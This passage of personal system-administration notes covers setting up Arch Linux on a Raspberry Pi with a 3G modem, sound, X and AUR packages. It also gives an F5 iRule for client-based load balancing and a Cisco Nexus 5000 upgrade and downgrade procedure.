APN="airtelnet.es"
APN_USER="vodafone"
APN_PASS="vodafone"
SIM_PIN="1234"
USBINTERFACE="0"
OTHER="CUSTOM_TTY"
CUSTOM_TTY="/dev/ttyUSB0"
[root@alarmpi ~]# cat /etc/systemd/system/network.service
[Unit]
Description=Network IP Connectivity
Wants=network.target
Before=network.target

[Service]
Type=oneshot
RemainAfterExit=yes
EnvironmentFile=/etc/conf.d/network
ExecStart=/sbin/ip link set dev ${interface} up
ExecStart=/sbin/ip addr add ${address}/${netmask} broadcast ${broadcast} dev ${interface}
ExecStart=/sbin/ip route add default via ${gateway}
ExecStart=/usr/local/sbin/sakis3g connect --console

ExecStop=/sbin/ip addr flush dev ${interface}
ExecStop=/sbin/ip link set dev ${interface} down
ExecStop=/usr/local/sbin/sakis3g disconnect

[Install]
WantedBy=multi-user.target
[root@alarmpi ~]# systemctl disable dhcpcd@eth0.service
[root@alarmpi ~]# systemctl enable network
[root@alarmpi ~]# reboot
Text editor

root@raspberry:~# pacman -S vim
Sound

root@raspberry:~# pacman -S alsa-firmware alsa-utils
root@raspberry:~# modprobe snd-bcm2835
root@raspberry:~# cat /etc/modules-load.d/snd-bcm2835.conf
snd-bcm2835
root@raspberry:~# alsamixer
root@raspberry:~# pacman -S pulseaudio vlc
Video

root@raspberry:~# pacman -S xorg-server xorg-xinit xorg-utils xorg-server-utils
root@raspberry:~# pacman -S xf86-video-fbdev
root@raspberry:~# pacman -S openbox obconf obmenu lxappearance
root@raspberry:~# pacman -S xterm
[toni@raspberry ~]$ mkdir -p /home/toni/.config/openbox/
[toni@raspberry ~]$ cp /etc/xdg/openbox/menu.xml /home/toni/.config/openbox/.
[toni@raspberry ~]$ cp /etc/xdg/openbox/rc.xml /home/toni/.config/openbox/.
[toni@raspberry ~]$ cat .xinitrc
exec dbus-launch openbox-session
[toni@raspberry ~]$ starx
Backup

# dd bs=1M if=/dev/mmcblk0 of=archberry.backup.img
Base development package (Compile C programs)

root@raspberry:~# pacman -Syu
root@raspberry:~# pacman -S base-devel
Binutils

root@raspberry:~# pacman -Syu
root@raspberry:~# pacman -S binutils
Install packages from the AUR with packer

root@raspberry:~# pacman -Syu
root@raspberry:~# mkdir builds
root@raspberry:~# cd builds
root@raspberry:~/builds# wget https://aur.archlinux.org/packages/pa/packer/packer.tar.gz
root@raspberry:~/builds# tar xvzf packer.tar.gz
root@raspberry:~/builds# cd packer
root@raspberry:~/builds/packer# makepkg -s --asroot
root@raspberry:~/builds/packer# cp pkg/packer/usr/bin/packer /usr/bin/packer
root@raspberry:~/builds/packer# cp pkg/packer/usr/share/man/man8/packer.8.gz /usr/share/man/man8/packer.8.gz
root@raspberry:~/builds/packer# cd
root@raspberry:~# rm -rf builds
root@raspberry:~# packer -S comgt
WiringPi library for GPIO access

root@raspberry:~# pacman -Syu
root@raspberry:~# pacman -S wiringpi
[toni@raspberry ~]$ curl http://wiringpi.com/pins
[toni@raspberry ~]$ curl http://wiringpi.com/examples/blink
[toni@raspberry ~]$ gpio mode 0 out
[toni@raspberry ~]$ while [ true ]; do gpio write 0 1; sleep 2; gpio write 0 0; sleep 2; done

# Load balancing based on iRule


iRule configuration

when CLIENT_ACCEPTED {

  set mypool   "foobar"
  set client_1 "1.1.1.1"
  set client_2 "1.1.1.2"
  set server_1 "2.2.2.1"
  set server_2 "2.2.2.2"

  if { [IP::client_addr] eq $client_1 } then {
    if { [LB::status pool $mypool member $server_1] eq "up" } then {
      pool $mypool member $server_1
    } else {
      pool $mypool member $server_2
    }
  } elseif { [IP::client_addr] eq $client_2 } then {
    if { [LB::status pool $mypool member $server_2] eq "up" } then {
      pool $mypool member $server_2
    } else {
      pool $mypool member $server_1
    }
  } else {
    persist uie "[IP::client_addr]"
    pool $mypool
  }
}


References

https://devcentral.f5.com/irules

# Nexus 5000 upgrade and downgrade procedure


Topology (Dual-Homed)

[N5k1]---PK---[N5k2]
[N5k1]---PL---[N5k2]
[N5k1]---vPC1---[N2k-fex101]
[N5k1]---vPC2---[N2k-fex102]
[N5k1]---vPC3---[N2k-fex103]
[N5k2]---vPC1---[N2k-fex101]
[N5k2]---vPC2---[N2k-fex102]
[N5k2]---vPC3---[N2k-fex103]


Determining the upgrade impact

If you are upgrading from a NX-OS release 4.2.(1)N1(1) or later releases, you are able to do an ISSU (In-Service Software Upgrade).
If the following commands pass the test, you can do a non-disruptive upgrade (ISSU), if not, you will have a disruptive upgrade:
N5k# show incompatibility system bootflash:n5000.bin
N5k# show install all impact kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin
N5k# show spanning-tree issu-impact
N5k# show lacp issu-impact

Disruptive upgrade

1. Verify the required space to upload the kickstart and system images in the primary and secondary switches (N5k):
N5k1# dir bootflash:
N5k2# dir bootflash:
2. If necessary, delete unneeded files to make space available.
3. Copy the new kickstart and system images to the switches bootflash.
4. Display the impact of the upgrade:
N5k1# show install all impact kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin
N5k2# show install all impact kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin
5. Upgrade the primary switch:

N5k1# install all kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin
6. After the primary switch has been reloaded, change the boot variables on the secondary switch and save the configuration:

N5k2(config)# boot system bootflash:n5000.bin
N5k2(config)# boot kickstart bootflash:n5000-kickstart.bin
N5k2# copy running-configuration startup-configuration
7. Once done, reload from the secondary switch each FEX sequencially, one after the other:

N5k2# reload fex 101
N5k2# reload fex 102
N5k2# reload fex 103
8. Finally, reload the secondary switch without saving the current configuration:

N5k2# reload

NonDisruptive upgrade

1. Verify the required space to upload the kickstart and system images in the primary and secondary switches (N5k):
N5k1# dir bootflash:
N5k2# dir bootflash:
2. If necessary, delete unneeded files to make space available.
3. Copy the new kickstart and system images to the switches bootflash.
4. Display the impact of the upgrade:
N5k1# show install all impact kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin
N5k2# show install all impact kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin
5. Upgrade the primary switch:

N5k1# install all kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin

6. After the primary switch has been reloaded, all FEX begin a rolling upgrade (automatic).
7. Once done, upgrade the secondary switch:

N5k2# install all kickstart bootflash:n5000-kickstart.bin system bootflash:n5000.bin

Downgrade

1. Verify the required space to upload the kickstart-old and system-old images in the switch (N5k):
N5k# dir bootflash:
2. If necessary, delete unneeded files to make space available.
3. Copy the kickstart-old and system-old images to the switch bootflash.
4. Display the impact of the upgrade:
N5k# show install all impact kickstart bootflash:n5000-kickstart-old.bin system bootflash:n5000-old.bin
5. Downgrade the switch:

N5k# install all kickstart bootflash:n5000-kickstart-old.bin system bootflash:n5000-old.bin

Notes

- An ISSU is a nondisruptive upgrade. The control plane is reloaded, but the data plane does not stop forwarding packets.
- The kickstart.bin contains the kickstart image.
- The system.bin contains the image, bios and fex images.